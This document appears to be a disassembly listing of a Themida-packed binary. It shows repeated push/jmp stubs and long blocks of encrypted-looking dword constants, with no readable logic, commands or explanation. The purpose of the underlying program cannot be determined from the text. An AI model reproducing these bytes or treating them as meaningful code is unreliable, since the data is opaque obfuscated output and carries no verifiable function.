; ---------------------------------------------------------------------------
push 6175CF8h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6176051h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61760C0h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61761DBh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61764FEh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6176837h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6176BA4h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6176D5Eh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6176DC4h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6176E33h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6176E88h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6177011h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61770FEh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61772B5h
jmp loc_5509FF
; ---------------------------------------------------------------------------
db 1Eh
dd 0D2AF01BEh, 8D6ABC01h, 47247645h, 0FCD92B8Eh, 5790E2DBh
dd 35884F61h, 0EECB06E3h, 0A619BF9Ch, 5C5F7754h, 7076FE0Ah
dd 58093D8Ah, 123CA39Eh, 0E2AFF7C4h, 339DCCF1h, 0B90BB026h
dd 77BF6FDDh, 48902DAAh, 0F1E85C42h, 19487051h, 59744B13h
dd 0A8708A4Eh, 20E9C191h, 21B9FB29h, 8F1BAEF2h, 3A0757E5h
dd 1F772398h, 468F6CF0h, 0E92FDB73h, 58066E07h, 3952F012h
dd 0F8D9682Ch, 35D2h, 0A513E900h, 0F1E4B1F9h, 77C41CC8h
dd 5CB4605Bh, 5E21272Dh, 0AA57E503h, 6BA2BAD3h, 3665D2C7h
dd 98DE8AB2h, 580678B6h, 0E8E39FC1h, 0F8D9607Dh, 0CF81h
dd 0C4129800h, 62F78138h, 33CB9E3Fh, 605D7A87h, 8C2FA7B4h
dd 0B803D3E0h, 3E2B5066h, 643B51F2h, 0E7535D72h, 4B5685EBh
dd 5F5A7B8Bh, 0D59D75C7h, 0F22DE9CFh, 1F25FD51h, 51F22E39h
dd 408D254Dh, 257D2992h, 0D0EBEBF6h, 6AA1824h, 477DB8BEh
dd 0DCA957E5h, 141701F9h, 64F444F2h, 0F1199DCCh, 0C5F6DCA9h
dd 0B6625B78h, 431F2F5Eh, 19E129D5h, 0AB318A4Ch, 580652C5h
dd 7C82B1D9h, 0FB294A76h, 6AB2DA5Dh, 31833A9Dh, 5C3A8354h
dd 389125EEh, 14A3B19Bh, 6A00001Ch, 1EFB4D72h, 0D9B608B5h
dd 9370C2F9h, 48257742h, 0A3DC2E8Fh, 813C9B15h, 3A7F522Fh
dd 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h, 58093ED6h, 1288EFEAh
dd 0C9A6F8C5h, 0A35CAE0Dh, 97014017h, 7A0BEEE2h, 2BD3414Bh
dd 0E81ADDE3h, 0C0E857E5h, 0E7ECCE14h, 0D5F75806h, 0CCAD84B5h
dd 0C5AF9595h, 0D9E2F441h, 3AA6D52Dh, 0F8D8552Bh, 76AD5C33h
dd 5A89D8Eh, 0FC70D6h, 9B680000h, 81D98538h, 4F176B52h
dd 0BF6B5082h, 0E7FBE167h, 0E70F51F1h, 9229ADB8h, 0BFFED9E6h
dd 0EBA8CD13h, 0EBB851F1h, 1B28D4E7h, 0FC5400BBh, 0AC2A3564h
dd 428F795Ah, 0FF47DF77h, 0EC4B3137h, 825F51F1h, 0A3D26A4Fh
dd 0BDE4BB93h, 0E58E8E17h, 0FED8E312h, 970511BDh, 5E999FE7h
dd 8A57E57Eh, 0DE3D0FB3h, 0E2111571h, 9A80865Eh, 0AE5806BAh
dd 21B900D1h, 925F3789h, 74CC7845h, 21CD3B45h, 8EB8D3D9h
dd 0FE265DFBh, 1AEEE9B6h, 176901BEh, 42209D3Ah, 3890C112h
dd 93A18Bh, 7E00001Bh, 320F615Eh, 0EDCA1CA1h, 0A784D6E5h
dd 5C398B2Eh, 0B7F0427Bh, 9528AF01h, 4E6B6643h, 6B91FFCh
dd 0BCFFD7B4h, 0D0D65E6Ah, 58093FEAh, 129C03FEh, 0C9A6F8C5h
dd 0C623EF0Dh, 0FBC63C2h, 0F23B2309h, 770F3751h, 51C097DFh
dd 0A1433260h, 0C8A0B0DFh, 3EA3A3F1h, 1E6B47D7h, 25A06B3h
dd 0C412ECD3h, 983E4BF7h, 57B3D123h, 4C943CAAh, 0E501FB46h
dd 0A1C957h, 9391BEACh, 32DE4CF2h, 0A2BDE4EAh, 2B531A87h
dd 5905737Fh, 5D434911h, 711AA883h, 0E141A49h, 209BBE19h
dd 876D734Bh, 9B20BCBEh, 0C693DB73h, 9663AB10h, 3E4E7D42h
dd 68467561h, 75F170F6h, 44C3D1BBh, 3A00001Ah, 0EECB1DA2h
dd 0A986D8E5h, 63409229h, 18F54772h, 73ACFEBFh, 516C6B45h
dd 0AAF22FFh, 0C2FDDBB8h, 78439370h, 8C921A26h, 580940A6h
dd 1758BFBAh, 4F55B640h, 2655BBCFh, 5400BB1Bh, 0EE36DA48h
dd 0E62585E8h, 196B9357h, 23FAA3FBh, 5DC0EE61h, 0ACB6E521h
dd 444A923Eh, 5DF9C2F9h, 0A1B3E0C7h, 3802A894h, 32ABFFA0h
dd 0D6A56929h, 0A76AF968h, 54C17C87h, 620060Ch, 0C3425CCh
dd 97642C74h, 7CD4803Bh, 0E615A82Fh, 0BF367BA2h, 7AB88F2Bh
dd 5BF0FB41h, 25FD81B0h, 0E06B391Fh, 8D254D2Bh, 0B11D9E1h
dd 2BE06B25h, 0D8E21139h, 787EC66Ah, 31D3A583h, 78458DB5h
dd 4D155D5Eh, 0F4A66147h, 4D7531h, 0A8B8E7D8h, 0EBCE03D0h
dd 0ADB8E73Fh, 0B4B49229h, 1164B989h, 19651927h, 0C3190000h
dd 6CDAAFCh, 4A8865B7h, 93421F71h, 0E0F7D426h, 66528BDDh
dd 0DE308D4Ah, 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h
dd 99580942h, 0C412379Eh, 0D13F4BF7h, 0CDFE52Dh, 0FA57E519h
dd 0FB6280D2h, 9CA2FE6Ch, 5805F8B6h, 0C20AA2CAh, 97A4B6EBh
dd 92C1D823h, 0F6FCC48Ch, 58061F10h, 1EB69CA2h, 0A2CA5806h
dd 4185B4DCh, 5DF938F6h, 0E5FB9CC4h, 3A31171Dh, 1D455E1Ah
dd 1176AAEEh, 0D7A4D881h, 828CBBFEh, 1E246C14h, 0B622F7h
dd 0ADB9658Dh, 0F3D9DF3Fh, 700D702h, 343292Fh, 2F5700D7h
dd 0B1B7FF97h, 6CA3DBCh, 0B17EC6EEh, 0BFC6D725h, 20CD809Fh
dd 915E3688h, 3F4A7940h, 2C462497h, 0AD8FC29Bh, 1899B5C3h
dd 0F7E50000h, 3A9976C8h, 7E543183h, 0C70EEB3Dh, 14C3A0F2h
dd 9A1E57A9h, 0AAFCC116h, 63B504CDh, 1B6D5286h, 0D123983Eh
dd 51373DC5h, 65580942h, 0C412036Ah, 0D13F4BF7h, 0A8DFE52Dh
dd 0DC57E503h, 4280E14h, 553C5806h, 836C95B5h, 5C8B23FCh
dd 0A068B0D8h, 6AAB49Ah, 71A0C858h, 49D84361h, 23EB33DBh
dd 933F7C56h, 7DC80C3Bh, 4B5DF9C4h, 522E8223h, 0BCBB5B9Ah
dd 545AA24Eh, 6150AB2Dh, 0E3EF9BC3h, 0E6421975h, 0B30C83E4h
dd 1A30169Ch, 1C446171h, 41363C84h, 73676455h, 0A036034Bh
dd 0CF07EE5Ch, 1016E15Eh, 6785A62Ah, 0E67E163Eh, 9C1FB794h
dd 2889BEBEh, 37452F2Fh, 17DBh, 348639A3h, 0EF417C57h
dd 0A9FBC012h, 5EB009CCh, 15675681h, 3D4DCDCh, 468B68BAh
dd 94442173h, 0DAFCD92Bh, 0FB838FE1h, 9430FF5h, 0C1282358h
dd 2F8C4A17h, 0F1FC2B83h, 1E2AD6E5h, 0EBB800B0h, 0CC24D0EBh
dd 1291979Dh, 4857E532h, 58B0CE20h, 49913DABh, 0F92AF843h
dd 0FD9EC65Dh, 0E14406A9h, 904512D1h, 82F0FA29h, 2342282Eh
dd 2E56F1E3h, 0AF864E96h, 488E97DDh, 49411C73h, 0C7EE3261h
dd 5DF7D640h, 0B220ED35h, 6470DA09h, 0CA3E95F6h, 0AD05B10Eh
dd 2F357D15h, 0FDEA5C3Ah, 34FC446Ch, 204F6A67h, 0A3BC115h
dd 0EF4FA15h, 22FE0BDAh, 0BCA5A3FAh, 7C59AB43h, 383615Ah
dd 0FE98A2C4h, 17150614h, 73690000h, 0B61DFA4Ch, 0FAD8B507h
dd 43926FC1h, 90472476h, 16A2DB2Dh, 2E803D9Ah, 0E7398051h
dd 9FF1CE0Ah, 55A714C2h, 0D5BBC149h, 0E9580943h, 0C41287EEh
dd 0D13F4BF7h, 72DFE52Dh, 8457E65Bh, 173D145Ch, 0C8DEA48h
dd 2BF8FE2Dh, 0A8BE10ABh, 5809C532h, 0BB1673E0h, 62FA52FEh
dd 37864D1Ah, 0BB1BF808h, 0E8EBB800h, 0A2D129D5h, 9848B692h
dd 37DD4A50h, 0C7EF5DFEh, 9C21B27Fh, 6B4E8754h, 844F2C3Ch
dd 0AE858D39h, 0E26527FCh, 0A1317EBDh, 0E7166E1Ah, 0E3C1FADCh
dd 388CB4ADh, 74707E68h, 0A000016h, 0BE9BEDD2h, 7956A815h
dd 33106259h, 0E8C517A2h, 437CCEEFh, 219C3B75h, 0DADFF2CFh
dd 922DAB88h, 48736340h, 5C62EAF6h, 58094476h, 13288F8Ah
dd 0A8CE3AA5h, 7B235DABh, 28959BE3h, 3A57E65Dh, 0D9FDCA12h
dd 47B490E2h, 57494F97h, 8358093Eh, 8669AF5Bh, 0D58093Eh
dd 3A47F3CAh, 0A0F1619Dh, 0C61A5ED0h, 486C822Eh, 0BEE0A70Ah
dd 0F45E079Ch, 4EA0F8D5h, 0B7000000h, 4248A613h, 51F1E85Ch
dd 68B04870h, 88BC9A0h, 576870h, 0F625229Dh, 0F2A4B8B2h
dd 10BCE451h, 6D9D3B08h, 90BF5766h, 0F2A56A4Ch, 37537551h
dd 0ED30C99Ch, 1335FEh, 0D94C0000h, 51F1E7F6h, 1860107Eh
dd 0E5081712h, 0CB1D4557h, 3AA51312h, 0FFF18E70h, 0C911A93Eh
dd 4D333901h, 6151F2A8h, 0A7CDB339h, 0B9E151F2h, 2F7E848Ah
dd 557E5F1h, 5C2931DDh, 75449177h, 33A3AEDDh, 14A475C9h
dd 10A8DB38h, 11F5E1BEh, 0F149F5C4h, 37A0AD59h, 6CDDA86h
dd 4FE7D402h, 803D96A3h
dd 9EBCA0D4h, 764D651Bh, 2A518290h, 3587B678h, 0C4F7DF15h
dd 7A419572h, 0AC54C2CEh, 28A35E64h, 6A515DF9h, 0DA107333h
dd 0E032CA05h, 3CE8D303h, 0EF72F1F6h, 0A415BC35h, 0D0EBEBF8h
dd 84AAE24h, 0F38FF3A9h, 0CC1E9D39h, 40262CF4h, 54D65173h
dd 0E4F2FD2Ch, 56232BD7h, 5103F7Ch, 0E83DE9D0h, 0AA11C592h
dd 0DBE2F1FEh, 80C21443h, 0FF516A6Ch, 5B07B422h, 0F53DE14Fh
dd 600CAD28h, 0CDD3D908h, 0DC448BEAh, 52BD1BF8h, 658C664Ch
dd 0BA527ADCh, 0CC1EB60Eh, 28D4E7EFh, 5703B61Bh, 27DD7DE1h
dd 0E2BA0CAFh, 0CFFEBD15h, 0FDA912C4h, 93DB83F1h, 261F45BCh
dd 406F6B53h, 1045343Ah, 335BE258h, 0E9D204E1h, 0B75E353Dh
dd 37958CCFh, 1E7ED35h, 15E279D1h, 987ABEEDh, 0F6D279D0h
dd 1ABC7012h, 66724FA1h, 37A0AD59h, 4CDDA86h, 0D7FC09B5h
dd 243AE6h, 22B5A042h, 14F28C8Eh, 2466CA7Ch, 328B4815h
dd 0DFE0F803h, 0E728B08Dh, 79B9FBE1h, 4FE70FF2h, 0CA3F96A3h
dd 38E4DBFDh, 0BA745AE0h, 6088F279h, 42A61CC8h, 381AF100h
dd 60E2F968h, 54848FBEh, 7441196Bh, 242F5E5Fh, 535F0BB4h
dd 0EBF139E5h, 0F86C6F9Ch, 0AE949A72h, 0C2F88D4Fh, 4956029Ah
dd 0E7CB7288h, 8A0E6A18h, 983946F2h, 3B5F7521h, 0CBF2E51Fh
dd 9A2FC71Fh, 36A25AF8h, 7C5A3789h, 5086933Fh, 0E94DBF6Bh
dd 0C84393A9h, 8DC8DCC2h, 30C8F0F8h, 10C5A0DEh, 2B395852h
dd 50000000h, 4DF9C612h, 0E32BD341h, 0A9DB441Bh, 39CECEACh
dd 438B239Ah, 0F206573Dh, 14436B51h, 0E552ADD0h, 0C1133B57h
dd 1BE3h, 0C6123A00h, 3BDAB1F9h, 2978F82Bh, 939F0938h
dd 2B317925h, 57E5FE40h, 1BD4264Eh, 2F8C4A17h, 0B0FC2B83h
dd 913DAB58h, 1F84349h, 9EC657E5h, 39C3A9FDh, 8D55AA56h
dd 0B919A187h, 5E8DB54Ch, 127BE654h, 9810D3E7h, 0E8B0F890h
dd 5400BB1Bh, 0C66F3B3Dh, 0B74FE8F3h, 611D4488h, 0DBB352ACh
dd 0CD41EFD5h, 43DB0352h, 711D8B97h, 7D2E2329h, 386058C0h
dd 8B323F0h, 0BEFDD9B6h, 0CCB3BAE0h, 77856F3Dh, 131Bh
dd 0F4467963h, 0AF01BC17h, 69BB00D2h, 1E70498Ch, 0D5279641h
dd 43941C9Ch, 864B287Ah, 0D404E133h, 1ABC99EBh, 0BB434FA1h
dd 947CFB5h, 81E8E358h, 0F1E8F3D9h, 6B138151h, 3F7C5623h
dd 69040A10h, 0D757E51Bh, 3E9A67AFh, 6B20BCCh, 0E7C416AEh
dd 0BE86CEF1h, 5FAD2B8h, 0C809E658h, 0C02A59F1h, 0BA9823B3h
dd 3EA834EAh, 0AC5B6953h, 0D2000012h, 8663B50Ah, 411E704Dh
dd 0FBD82A91h, 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h
dd 5A657350h, 10AB2B08h, 242AB2BEh, 5809483Eh, 13F05752h
dd 0ABB1F9A5h, 57E51A10h, 410E567Eh, 0FCD92B92h, 0D19EE6D7h
dd 0B20AB605h, 0CA0C1983h, 0CACF6A41h, 741154ACh, 6D808EEh
dd 5CF41C58h, 99B95BB0h, 7F3A9B68h, 2F8E4550h, 0CF4EBFDDh
dd 19BFF867h, 271F8F38h, 0D370478Fh, 3E83148Dh, 7A95F423h
dd 72B86459h, 5806DC8Fh, 6078451Dh, 0BCDE305Fh, 20724B88h
dd 812D9043h, 0F570775h, 0FC7C7B38h, 79D68015h, 5BA2F9E5h
dd 9623B299h, 0CBFA92EAh, 0A372BFC5h, 1C445DFAh, 0F0CB07D4h
dd 5D8C2FA3h, 6F4C8A57h, 5A78451Dh, 2E5DB561h, 5C08B323h
dd 0F63EE250h, 11F826F0h, 82CAF264h, 489A21B5h, 2B069970h
dd 7DD4EBEDh, 2A72C62Eh, 34893E24h, 0FB2A5264h, 0B720E6F0h
dd 59266E06h, 0A50F3E7Dh, 3B832B99h, 27B1D635h, 0E4EFCC6Ah
dd 4B6341D9h, 62C659Dh, 11910E1Ch, 0EFED0000h, 32A17ED0h
dd 765C398Bh, 0BF16F345h, 0CCBA8FAh, 92265FB1h, 0B204B91Eh
dd 6BBDFCD5h, 23754A8Eh, 0D92B9046h, 593F45CDh, 6D580949h
dd 4A170B72h, 0C0043388h, 51F1E7C1h, 1C1A9E75h, 1CA084E7h
dd 0C9F6E2EDh, 1D29F77h, 89B810BCh, 256D117Fh, 0E69C5D1Fh
dd 0B9012957h, 689E1AF1h, 1DB69F5Bh, 88B708D0h, 1466557Dh
dd 0E5B4B15Bh, 0DDAAFF6Dh, 0C018C4FBh, 1432B91h, 13420000h
dd 17D5FEA8h, 0F1E82E11h, 0FD2C5151h, 5B765E6Bh, 1749720Ah
dd 768BCB6Eh, 0E7C2A8AEh, 0AED651F1h, 1A497061h, 0FCAA1333h
dd 13ED94D3h, 17D2FBABh, 332874Ah, 4A17ADA4h, 2F873388h
dd 0E5E19400h, 433D01EDh, 35000000h, 67379A5Eh, 1C4B65B5h
dd 0FCAA1335h, 2E1117D3h, 0BA51F1E8h, 2BD7E6EDh, 0F820A4D3h
dd 0FCE2E8B0h, 1051F1E7h, 17D2B9E8h, 6653824Fh, 0C0125037h
dd 61758F46h, 0BE56AE5Ah, 6910FD26h, 2611h, 0AA136800h
dd 4017D3FCh, 0D07A37E9h, 0EB40110Eh, 646C44A1h, 91979DCCh
dd 51F2AAAEh, 17426BD1h, 0FBC0126Eh, 176910D2h, 942DF340h
dd 0E3D9CADh, 0ED81D3A2h, 284B01h, 13620000h, 17D2FBABh
dd 0F1E82E11h, 795F3C51h, 1785AE46h, 2020784Fh, 0BF0B61C1h
dd 0C112A990h, 6910D3FCh, 5211h, 40176800h, 8610DD77h
dd 0E5EF1EA8h, 51BA187Dh, 0F21F654Bh, 0B9517951h, 4A17F821h
dd 2F873388h, 1DC9F6E2h, 8A9096C5h, 51F1E7A7h, 0EAE7B4CAh
dd 45CB23CFh, 51F1E85Fh, 0DD3ECECh, 17244DE5h, 534894Ah
dd 0C11256FFh, 4A10D3FCh, 0BA66557Dh, 114C3362h, 0FFFFFEADh
dd 0F9A51368h, 0A412E9B1h, 79448FAEh, 9C100C22h, 4ABC296Dh
dd 0F6CE57E7h, 0A2C0AF0h, 5EF61E58h, 2E8D4916h, 0EB9300DCh
dd 2BB79DA3h, 7249580Ah, 0B8D99E08h, 85093810h, 39C2E89Eh
dd 6672DA89h, 7D29C159h, 0A213F37h, 0CAF3E058h, 0F6C5111Eh
dd 0D270D44Ah, 0A4E608CFh, 0B009C895h, 0B4501581h, 410EF8D5h
dd 21792594h, 0DB902D4h, 532086B5h, 18000000h, 2F8A4Bh
dd 0E7F7D919h, 5A7C51F1h, 6A370F61h, 84399A6Ch, 3CE880D8h
dd 8E71B5E4h, 1651F1E7h, 2A9543A8h, 567D4A92h, 735A92A8h
dd 0AE464F66h, 1B4A7161h, 0B80C0F15h, 7D5A57E5h, 0A3BA6655h
dd 0E8DEB20Fh, 93E07821h, 92E47C3Fh, 0D0B4h, 0A5130B00h
dd 0F8ABB1F9h, 0A657E502h, 6F69367Eh, 0B721FE50h, 0E2505C08h
dd 2A2888Eh, 0D9B65806h, 8E26BEFDh, 27056F46h, 1E399EDCh
dd 87B605D1h, 72367B81h, 0E0085DFAh, 0E4CAD098h, 0F85E1D52h
dd 0CE9BA1D0h, 0A038050Ah, 951B731Fh, 5E1D52AFh, 4D539BC3h
dd 5E1D5367h, 73BB537Bh, 8351A29Ch, 0E9187B88h, 0E3DCFCD9h
dd 61672F37h, 5E1D6F7Bh, 0B2EBA88Fh, 1123B14Ch, 0D2404A79h
dd 3E0E62Eh, 0F564115Ah, 1EB885CDh, 686E4B9Dh, 39B79DA3h
dd 0A3CB6434h, 0F68B2D0Bh, 0F0DA3279h, 0E6EE2h, 0F3CC1000h
dd 0AE0FC4A1h, 68537F5Ch, 1D9C3916h, 0D4E9EECBh, 416F4982h
dd 0F8D52796h, 0B18EE0D9h, 69469827h, 0F0FC4E6Dh, 4C7C6268h
dd 95905809h, 8B4A172Eh, 0E2F4FF2Eh, 0B6202DD9h, 0CFE75905h
dd 0E81B0107h, 72F51F1h, 30C486D8h, 85C315A6h, 0FEEDEDE0h
dd 9920B17Eh, 29046Ah, 131B0000h, 0ABB1F9A5h, 57E51884h
dd 3946F21Ah, 0EFCC1E9Dh, 0BF8CD4E7h, 0A5FDA914h, 92000C76h
dd 0EDA0A6EEh, 9B5DF913h, 17682173h, 332874Ah, 9AE2DBF8h
dd 0E7E6CCD2h, 0D2FA51F1h, 406F4E85h, 3D805330h, 0E84E4B91h
dd 0DFF951F1h, 0E8442A30h, 5D151F1h, 30C8F0B6h, 0DC2F06DEh
dd 7E1B8583h, 0E7C86B5h, 35141A62h, 0A957E675h, 18724BD2h
dd 4465F28Ch, 8A85DC65h, 73F72677h, 0D5C3348Ch, 18B03D30h
dd 0ECCF03D0h, 0B4B1E19Ah, 4AFF6DE5h, 13Eh, 49A81361h
dd 6E972F8Eh, 0E82E1117h, 0E3BA51F1h, 0EE001421h, 1887B64Ch
dd 6E1789B2h, 13958BCBh
dd 17D3FCAAh, 0E863494Fh, 4F7751F1h, 13F09720h, 5F454BABh
dd 7351F1E8h, 0BE8AB34Bh, 0E5C4B1C7h, 2A5A01EDh, 71000000h
dd 0D3FCAA13h, 0E82E1117h, 143C51F1h, 126E17EBh, 0E6B3FBC0h
dd 96D80FEBh, 3D9B6309h, 72A1F9A5h, 1169108Bh, 4Ch, 494F1768h
dd 51F1E863h, 16204F77h
dword_57F248 dd 0E8B5FDADh, 0D24D0E9h, 54B9A168h, 0D3CD47Ah, 894A1726h
; DATA XREF: Themida_:0054AF08o
dd 1308834h, 0E812F5FBh, 0C79E51F1h, 65F7BD1Eh, 6C518633h
dd 0A1D068C0h, 17A3CC32h, 0FBC0126Eh, 0D81FDCB3h, 5163B1E0h
dd 69103B22h, 2BD14017h, 0F9A516BCh, 0C9C04AA1h, 0B0C53160h
dd 6E01EDCFh, 3Bh, 7D948F66h, 0CB63E04Dh, 0AF07B306h, 0B308CA17h
dd 0AB139D84h, 1117D2FBh, 51F1E82Eh, 17EB143Ch, 874A176Eh
dd 0FF2E8632h, 96DEDFF4h, 3AF0EC9h, 10957CABh, 2A1169h
dd 13680000h, 5F454BABh, 7351F1E8h, 178AB34Bh, 0F1E82E11h
dd 0E6EDBA51h, 0D339A8D7h, 8D4A17AAh, 0FD2C8430h, 0C1124EF7h
dd 6910D3FCh, 0FFFEB911h, 0A51368FFh, 3EABB1F9h, 5057E65Bh
dd 0C313E028h, 8BD9B0F8h, 896F75F0h, 9D580977h, 48C1E75h
dd 0F9D5E514h, 4A30368Ch, 5E5809C3h, 0CD655481h, 1E7ED35h
dd 155809C3h, 3FB41EDh, 0A45809C3h, 0F2D8DE2Fh, 65809C2h
dd 8D9A46DEh, 0A613BE4Ah, 8355620Eh, 0E238903Ch, 561D9CBEh
dd 9722B380h, 5F741668h, 0F8D61306h, 0A48A9058h, 0B85809CAh
dd 35FE74D1h, 2EC65D6Ah, 1599FFh, 0D9B00000h, 51F1E7F7h
dd 9D1EB481h, 4873636Eh, 0AC18F6h, 136F0000h, 0ABB1F9A5h
dd 57E50974h, 0EDBA022Ah, 0A582D4EBh, 0CFFD733h, 60A2006h
dd 740C3458h, 0B62430DCh, 63BCC20Ah, 0CB5DFA7Dh, 5FD88EF4h
dd 4978EDE8h, 88559DC5h, 401D6F50h, 12DF2798h, 0F74FFBC0h
dd 0E4525EC8h, 0AF27F43Ch, 0D1D7DD0Ch, 641195F4h, 803B9764h
dd 0C94D7CD4h, 2AD6E7ECh, 25F23AD2h, 0DBB80AB1h, 3DCD0BFBh
dd 227A2695h, 0AE14F28Ah, 0CB3279BAh, 0B35D3E1h, 93490000h
dd 0D6FDDA2Ch, 1AB895E7h, 63724FA1h, 0B0270456h, 3682BB0Dh
dd 0E605D7Ah, 0C719A031h, 7FD1EEEAh, 358734A2h, 0B59BA129h
dd 0C958094Fh, 0C41267CEh, 983E4BF7h, 0D13DB23h, 51F1E827h
dd 7AE4133Bh, 4EE6A408h, 0BDCB7488h, 99BE91Ch, 755C2971h
dd 0CA76498Fh, 0D62EDA72h, 0C5997A7h, 0F2FEEDA4h, 2Ch
dd 0F9A51309h, 0BA1CE9B1h, 9830894Ch, 216594ECh, 57E5110Eh
dd 9BA8547Ch, 512E803Bh, 7E8A3685h, 12186010h, 5DF912DBh
dd 5E176991h, 7B784F17h, 2E677CB0h, 0F4DBC147h, 0C7EF51F1h
dd 77468D98h, 68764D25h, 7D4093E0h, 0F92279D1h, 0DABA4A52h
dd 0CC915457h, 0C2C10534h, 7651F238h, 0E38F2EA9h, 87515C8Bh
dd 0D019F038h, 7EF11D1h, 0DEBACAF9h, 0F0CB0B70h, 0C54EC44h
dd 0E7341C06h, 0B8002857h, 56DA19F0h, 6A5B4A17h, 19A2303Bh
dd 0B4B10EC7h, 4AFF6DE5h, 16Fh, 4EA81361h, 0F1E86248h
dd 0B64E7651h, 1440178Dh, 9E0AEDB8h, 5B616796h, 51F23578h
dd 170C359Bh, 6BC1784Fh, 0BD14A52Ch, 6236Ah, 51F2E61Ah
dd 3F6E062Eh, 958BCB58h, 0D3FCAA13h, 4A17ED94h, 92787E8Bh
dd 0A651F1E7h, 3F99E67Eh, 0DF475180h, 571FE72Fh, 0F1E86B51h
dd 0D1577F51h, 51F1E7EBh, 0C1A8D7FFh, 0C4B1C7BEh, 0BA01EDE5h
dd 0E806ECF2h, 0F21A54F1h, 575DC3h, 7E550000h, 0B650D3B3h
dd 31CF6F84h, 0E79BCB16h, 1339204Fh, 0DDB4FCAAh, 5B5CEA85h
dd 0C5ACDB62h, 0E82E1117h, 143C51F1h, 6C7FF5CCh, 1B60CE72h
dd 4B1609D7h, 0A0CF675Fh, 176E17B9h, 0FAA7640h, 0C3BC1A5h
dd 0A2EAD101h, 850DE4CBh, 1847F369h, 11691031h, 28h, 0FCAA1368h
dd 2E1117D3h, 5151F1E8h, 6E17C2EBh, 0B3FBC012h, 0E7FFE5EBh
dd 3B1351F1h, 0F1E84F35h, 0A33B6351h, 69108D74h, 0EDE5C4B1h
dd 3D5A01h, 13710000h, 17D2FBABh, 0F1E82E11h, 0EAEDBA51h
dd 6F4C86D3h, 0B83C6BC3h, 0B8804890h, 0F1E7CCB2h, 32B8E051h
dd 51F1E84Ch, 22093860h, 2F8C4A17h, 1251FA00h, 10D3FCC1h
dd 221169h, 17680000h, 8834894Ah, 8FF70130h, 4A17B6DFh
dd 0FB01308Dh, 0F1E812F5h, 0A6CF3551h, 0C1126E17h, 6910D3FCh
dd 39FF4017h, 5D1B4588h, 0FE88222Eh, 1779FFFFh, 0E863494Fh
dd 4F7751F1h, 48A81620h, 0E7947A80h, 80A851F1h, 0F1E814FAh
dd 68002851h, 5BAD1A20h, 0E2BF57E6h, 0E931C9F6h, 0AF01BA1Ch
dd 70B866D3h, 0C1FCDBA8h, 21070D15h, 3558093Dh, 246750Dh
dd 58093D1Ch, 165C0830h, 58093D1Eh, 31A26F45h, 4F0B5D8Ch
dd 0D6991154h, 10EDF8h, 0D9040000h, 51F1E7F7h, 0F615A7Ch
dd 0C231h, 0A5138800h, 44ABB1F9h, 5A57E5EEh, 0EE967C82h
dd 82AA5805h, 3D5A2EAh, 31A774BCh, 0D4DAE28Eh, 5805EEEEh
dd 1342DA02h, 5DB22603h, 5EF7157h, 0C55D8558h, 0EF9F0D19h
dd 6244A1A7h, 0E365DFAh, 0E0DFF9C6h, 9827B18Eh, 1E72E0ECh
dd 436A5056h, 567E5E1Dh, 1D42EAD0h, 0B421FE5Eh, 8DD56D05h
dd 11B4AA87h, 2C749C64h, 8E94775Fh, 643494A8h, 0A73D94BCh
dd 0BE443A92h, 22FA4CE4h, 0B55DD44Bh, 4D7C7F24h, 49279442h
dd 32798483h, 0C812200Ah, 0B6000007h, 6A479926h, 25025469h
dd 0DFBC0EADh, 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh
dd 3E815734h, 0F4C70FECh, 80E96A2h, 58095322h, 12D43B36h
dd 5B4147C4h, 6F51F1E8h, 0F603AF47h, 56B026E0h, 3C94407Dh
dd 8A0F8A4h, 2B9AE9C0h, 693B4B77h, 13C3D03Ah, 0E3EFFCA8h
dd 5D09B423h, 4BC16D05h, 9446ABE7h, 12DF1230h, 0C0CBFABFh
dd 9EFF516h, 1D51F1EEh, 0EE593F45h, 456D51F1h, 0F6CD15ADh
dd 0A0A95448h, 1114029h, 427B5C29h, 38BEA713h, 3140FEEDh
dd 57000000h, 0B1F9A513h, 0E51CECABh, 0CE7AA257h, 5FCA688h
dd 11AC2B58h, 427B5865h, 0E39F4196h, 946137FEh, 0FA4C7B44h
dd 0DD224358h, 95DCF8D9h, 0F3000000h, 4349A513h, 51F1E85Dh
dd 78419471h, 44DC74CCh, 0B79E25FCh, 9D715273h, 0BBEA8239h
dd 0B720EDB5h, 3093D706h, 3E57E5E9h, 0CA7A6066h, 668E5806h
dd 5703BA19h, 0AEBB67FFh, 0C7F4DE28h, 0E32BC31Bh, 674D531Bh
dd 7B5806CAh, 0C9E7CD53h, 0D3FB5806h, 1FB794A4h, 76E4F09Ch
dd 0CA2E141Ah, 1A425806h, 0A5723A82h, 0EFD5DB32h, 35806C9h
dd 0D01443DBh, 5DFAD069h, 0BBA1A77Fh, 0CF5E1AD0h, 0FFC70FA7h
dd 4015E728h, 991FDD87h, 5E1A81B3h, 84529FC7h, 3FF80837h
dd 2F8C4A17h, 0AB58B400h, 4349913Dh, 57E501F8h, 0E7FD9EC6h
dd 5DBF8410h, 295818C8h, 1C3A4CE5h, 1EC23096h, 4AA9D0D6h
dd 173F1E70h, 1B0107CFh, 2F1E912Bh, 626ED807h, 0FE044CF4h
dd 24846609h, 0FECB133Bh, 0F12D24D8h, 0CA27F6FEh, 0D303E032h
dd 84CC0AE8h, 0EBD57208h, 60EDDh, 536C7000h, 0EAF2401h
dd 0C8F3DFBCh, 7D3C9976h, 34894E2Bh, 0A10FA9E2h, 58358736h
dd 11EE4079h, 0C9A6F8C7h, 505CAE0Dh, 54DCC2C8h, 0F5F05809h
dd 0F7C4128Eh, 27943E4Bh, 0E38BF9D5h, 5B38959Bh, 0D1A857E6h
dd 0D8903AD1h, 1599C829h, 713941EDh, 99F856Bh, 42719958h
